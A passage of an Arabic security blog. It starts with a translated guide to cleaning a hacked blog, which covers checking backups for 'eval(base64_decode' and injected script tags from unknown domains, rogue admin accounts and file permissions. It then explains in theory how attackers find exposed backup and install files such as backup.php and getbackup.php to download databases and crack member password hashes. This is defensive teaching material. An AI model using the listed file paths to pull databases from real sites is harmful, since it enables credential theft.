4- اخرج الملفات الضرورية من التسخة الاحتياطية التي قمت بتنزيلها. و بالضرورية، اعني كل شيء لا تستطيع تنزيله من الويب مجدداً و الذي تحتاجه لبداية جديدة. تأكد من انك قمت بأخذ  وظيفة التوصيل المعدلة، السمات المرئية و كل الملفات التي تم تحميلها كونها المحتوى: الصور و الملفات و غيرها.

5- قم بتفتيش كل الملفات التي اخذتها. ابحث عن اجزاء تبدو مشبوهة مثل(eval(base64_decodeمتبوعة بمجموعة من الارقام و الاحرف غير المقروءة“، او اي نصوص من مجالات لا تعرفها ( مثل  > s cript src = ” http://[unknowndomainname] / scriptname.php,<   تشويش Base64 هي الطريقة المفضلة لمجرمي الويب لاخفاء الأكواد الضارة.  مع ذلك فانه ايضا يستخدم من قبل مصممي السمات المرئية لحماية الاشعارات من التغيير، لذا اذا وجدت نص مشفر بكود  base64 ، ليس من الضروري  ان يكون ضاراً. يجب عليك المقارنة بين السمة المرئية الخاصة بك و تلك المعدلة – اذا لم يكن هناك كود Base64 في النسخة الاولية، يجب عليك تنظيفها من الملف المعدل.

6- قم بتفتيش قاعدة البيانات الخاصة بك جدولاً بجدول للبحث عن حسابات ادارية غير معروفة،  و التي يمكن ان تكون قد ادخلت مباشرة في قاعدة بياناتك.- اذا وجدت اي حساب لم يتم انشاؤه من قبلك، قم بالغاءه فوراً. قم ايضاً بالبحث عن تحويلات Javascript  و التي كان من الممكن ادخالها في مشاركات المدونة،. في العادة، محرّرات WYSIWYG لا تقوم باخراج كود Javascript في مشاركات المدونة، مما يسهل عليك البحث.

7- قم بتنظيف حساب المضيف من خلال  قم بمحي تثبيت المدونة بالكامل ولتأكد من أنّك لم تترك اي ملفات غير ضرورية. كلما قَلّتِ الملفات، كان ذلك أكثر اماناً. قم بالغاء قاعدة البيانات و استعادة النسخة التي تمتلكها و التي قمت بالتحقّق منها يدوياً.

8- قم بتنزيل نسخة من نص مدونتك من مستودع رسمي و قم بتحميل الملفات على الخادم.  ربما ترغب في التحقق من ارشيف  MD5 بالمقارنة مع نصوص الموقع الرسمي. من الضروري ان تقوم باستخدام احدث اصدار من نصوص المدونة بشكل دائم.  قم بتعديل ملف التكوين لتعكس بيئة الخادم الخاص بك  ( مستخدم SQL، قاعدة بيانات، كلمات مرور، مسار الملف و بقية اعداداتك). أولِ اهتماماً خاصاً بال(Authentication Unique Keys ) أو أي نوع من التمليح وتأكد من انك لا تستخدم القيم الافتراضية.

و كملاحظة جانبية، يمكن تنزيل الكثير من نصوص CMS المدعومة تجارياً من لوحات “warez” ، من دون  الحماية التجارية . الرجاء الملاحظة ان استخدام نصوص “فارغة” (من الحماية التّجاريّة) هو خطر للغاية، حيث انها تحتوي بالعادة على كود “ملغوم” (backdoors) مدخل من قبل المتسلل الذي قام باختراق الكود الاصلي ليتمكن من التحكم في الموقع الالكتروني للضحية.

9- تأكد من ان جميع الملفات المحملة من قبلك تحتوي على الصلاحيات الصحيحة. لا تحدد الصلاحيات اعلى من الصلاحيات التي يحتاجها النص ليعمل. اعداد الملفات و المجلدات ل(  CHMOD 777) قد يسمح للمهاجم بأن يكتبها و يعيد ادخال كود خبيث عوضاً عنه. اذا لم تكن متأكداً، تحقق من دليل الاستخدام لمعرفة الاعدادات الموصى بها او استفسر عنها. كما من الضروري ان تغير كلمة المرور لمسؤول المدونة  وحساب ال FTP. و اذا امكن، قم بتغيير اسم المستخدم من Admin لاسم آخر يصعب اكتشافه.

10- تخلص من ذاكرة التخزين المؤقت لمتصفحك و قم بتوجيهه نحو عنوان موقعك الالكتروني. اذا سار كل شيء على ما يرام، يجب ان يكون لديك مدونة صحيحة و سليمة> اذا لا، تأكد ان ملف .htaccess الموضوع في مكانه في الخطوة رقم 1 تم الغاؤه او استبداله.

11- ابحث عن مدونتك على قوقل عن طريق البحث عن اسمك ا اسم المدونة و التحقق من نتائج البحث. هذه طريقة احتياطية للتأكد ان ان مدونتك نظيفة، لان بعض النصوص الخبيثة تبحث عن التحويلات  و تعمل على توجيه الزوّار  الذين يستخدمون محرّكات البحث نحو المواقع المصابة (التي تستخدم في الهجمات).

اذا تم اختراق مدونتك على الرغم من اتخاذك كافة الاجراءات لحماية الملفات و اسماء المستخدمين، اذا يجب عليك التحقق اذا كان الخادم يلبي متطلبات نص المدونة. ان التكوينات الضعيفة للخادم، برامج خادم ضعيفة، تثبيتات مدونة غير صحيحة او إضافات تحتوي على ثغرات، هي أسباب رئيسي للاختراق الناجح للموقع.  لمنع اي من هذه المشاكل من التأثير على مدونتك، يجب عليك اتخاذ هذه الاجراءات السهلة و لكن فعالة للغاية:

– استخدم فقط نصوص مدونات من مستودعات رسمية. اذا كانت متوفرة مجاناً من المنتج، لماذا تقوم بتحميلها من مكان آخر؟ و ايضاً ابق بعيداً عن النصوص “الفارغة” (Nulled) من خدمات warez – فانت بالاضافة الى كونك تخرق القانون، فانت تقوم بتعريض موقعك للخطر- و ربما خادم الويب باكمله-  بسبب وجود تعليمات خبيثة من قبل المتسلل.

– لا تحمل حساب FTP الخاص بك بملفات لست بحاجة اليها. هذا يشمل السمات المرئية و وظائف التوصيل التي لا تستخدمها، و لكن قمت بتحميلها للاختبار. بعض السمات المرئية و وظائف التوصيل قد تكون قابلة للتعرض، لذا فكلما قلت اعدادها، قلت احتمالية اختراق موقعك. بالاضافة ان مدونتك  ستحمل بشكل اسرع.

– لا تستخدم أكواد متعددة لنفس عنوان الموقع. لانك ستمنح متسللاً فرصة الاستغلال عن طريق بعض الميزات مثل  تحميل نموذج لاستبدال ملف حساس في حسابك و استخدامه للسيطرة على موقعك.

– قم يتكوين و تخزين نسخ احتياطية لقاعدة بيانات SQL بشكل دوري او قم بتثبيت وظيفة توصيل تعمل على ذلك بشكل تلقائي. من المستحسن الاحتفاظ بهذه النسخ الاحتياطية على حساب FTP ثانوي او ان تعمل على ارسالها بالبريد الالكتروني. لا تستخدم نفس حساب FTP  لتخزين النسخ الاحتياطية ، لأن أي متسلل يستطيع  اختراق النسخ الاختياطية في حال تعرض الموقع للاختراق.

– تأكد بأنك تستخدم كلمات مرور قوية لحساب FTP و حسابات المسؤولين. لا تخبر اي شخص عن كلمة المرور حتى عندما تطلب المساعدة. ان تثبيت حل للحماية من البرامج الخبيثة على جهازك سيكون فكرة جيدة، لان بعض الهجمات الناجحة تمت باستخدام اسماء مستخدمين و كلمات مرور صحيحة تم الحصول عليها عن طريق جاسوس المفاتيح  (keyloggers) او احصنة طروادة المراقبة لذاكرة التخزين المؤقت (cache-monitoring Trojans.)

– استخدم مضيف ويب عالي الجودة. بما ان المستضيف الذي يتقاضى اجراً افضل من البدائل المجانية، تأكد من انك تقوم بانفاق نقودك بالطريقة الصحيحة. قم باختيار مستضيف موصى به من قبل موفر نصوص المدونة. تأكد ايضاً من أن مستضيف الويب  يوفر لك النسخ الاحتياطي التلقائي اليومي وسجلات الوصول للموقع.

المصدر

هذا المقال مقال مترجم. المترجم روزين جمال. الكاتب الأصلي: بودغان بتيزاتو. من موقع Malware City

http://www.malwarecity.com/blog/blog-hacking-recovery-101-849.html

ملاحظة: ننصح باستخدام SFTP أو SCP كبدائل لحسابات FTP، وذلك لأن المعلومات التي يتمّ نقلها تكون مشفرة على عكس FTP والذي يظهر المعلومات كما هي في حال تم استخدام برامج شمّ للحركة في الشبكة.

نظرة توضيحية Exploit Database Backup

السلام عليكم

في هذه السلسة سأتحدث بشكل نظري عن بعض انواع ثغرات تطبيقات الويب. كفائدة للقارئ والمتابع لهذه المواضيع . فهنالك الكثير من الاستغلالات الذي يتم طرحها و تطبق تطبيق اعمى، دون فهم دينامكية عمل هذا الاستغلال أو ذاك.

والحديث في هذه الجزئية سيكون عن نوع من انواع هذه االاستغلالات المعروف باسم

Exploit Database Backup

هذا النوع من الثغرات بسيط في الاكتشاف وسهل في الاستغلال والتطبيق .

الجميع يعلم ان لكل سكريبت قاعدة بيانات تضم في محتوياتها الاعضاء والمواضيع وكل ما يتعلق في هذا السكريبت

مفهوم هذا الاستغلال تمكن المهاجم من عمل نسخ احتياطي لقاعدة البيانات وتحريرها واستخراج منها قوائم الأعضاء والتي تكون في اغلب الأحيان مشفرة، بأحد أنواع التشفير، مثلاً md5 , md4 ..

واهم الملفات التي يجب تتبعها في هذا الاستغلال:

backup.php

upgrade.php

getbackup.php

update.php

basedb.php

وهي تختلف في اماكن تواجدها بين سكريبت واخر . ومن اهم الملفات التي تتواجد بها

install

sql

backup

admin

دينامكية العمل

يقوم المهاجم بفحص السكريبت لمعرفة مسار قاعدة البيانات وكما ذكرنا  سابقا من الممكن ان تتواجد تحت هذه المسميات او ضمن هذه الملفات . بعد اكتشاف مسار القاعدة يتم عمل تحميل للقاعدة، ويتم البحث عن قوائم الاعضاء ليتم بعد ذلك تحريرها واستخراج كلمات المرور.

ومن هذا الباب ننوه على اهمية مسح ملف التنصيب بعد القيام بتنصيب اي سكريبت . حفاظا على سلامة المستخدم .

الكاتب: بندر الحارثي